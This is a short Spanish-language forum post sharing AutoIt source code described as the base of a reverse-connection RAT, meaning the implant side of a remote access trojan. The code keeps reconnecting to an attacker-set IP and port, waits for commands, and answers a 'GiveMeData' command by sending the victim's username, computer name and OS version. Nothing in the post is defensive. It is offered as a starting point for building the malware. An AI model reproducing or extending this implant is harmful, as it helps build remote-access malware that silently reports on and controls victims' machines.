[RAT] Lo basico para empezar un RAT en AUTOIT

[79137913]

HOLA!!!

Estuve Jugando un poco con Autoit los ultimos dias.

Este es un ejemplo que hice de Base para RAT de conexión inversa (codigo del Server)

Código (autoit) [Seleccionar] Expandir

#include <Array.au3>
Global $Socket
Global $Recibe
While 1 ;Reconeccion
  _Conectar()
  TCPSend ($Socket,"Hola")
  While 1 ; Recibir y ejecutar
 $Recibe =""
 While $Recibe = ""
$Recibe=TCPRecv($Socket,10000000)
Sleep (100)
 WEnd
 $Dat = StringSplit($Recibe,"|||")
 Select
 case $Dat[1] = "GiveMeData"
TCPSend ($Socket,"MYDATA|||" & @UserName & "|||" & @ComputerName & "|||" & @OSVersion)
 EndSelect
  WEnd
WEnd

Func _Conectar()
  While TCPStartup()=0
 sleep (10)
  WEnd
  While True
 $Socket=TCPConnect ($IP,$PORT)
 If $Socket>0 Then
ExitLoop
 EndIf
 Sleep(1000)
  WEnd  
EndFunc

GRACIAS POR LEER!!!